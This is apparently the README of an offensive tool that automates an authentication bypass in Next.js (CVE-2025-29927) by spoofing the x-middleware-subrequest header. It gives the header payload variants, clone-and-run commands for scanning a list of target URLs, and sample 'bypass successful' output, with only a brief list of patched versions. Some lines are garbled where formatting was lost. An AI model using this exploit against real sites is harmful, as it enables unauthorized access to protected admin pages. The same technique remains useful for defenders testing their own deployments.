
CVE-2025-29927: Next.js Middleware Exploit
This tool demonstrates and automates the exploitation of CVE-2025-29927, a vulnerability in Next.js that allows an attacker to bypass middleware checks (like authentication) by abusing the internal header x-middleware-subrequest.
Next.js internally uses the header x-middleware-subrequest to prevent infinite loops in recursive requests. However, this header is not protected against external manipulation in certain versions, allowing a malicious actor to spoof it.
By setting this header manually, middleware logic responsible for enforcing authentication, redirects, logging, or filtering is completely skipped.
x-middleware-subrequest403 becomes 20015.2.314.2.2513.5.9next start with output: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Even if the target checks auth via middleware, this bypasses it completely.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Create a file called urls.txt with one URL per line:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Sends requests to each URL with and without the exploit header
Uses multiple payload variations:
middlewarepages/_middlewaresrc/middlewareLogs:
middleware_exploited.txt: for true bypasses (403 → 200)middleware_response_diff.txt: when response content differsUpgrade Next.js immediately to a secure version:
15.2.3+14.2.25+13.5.9+Also:
getServerSideProps, JWT, sessions)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt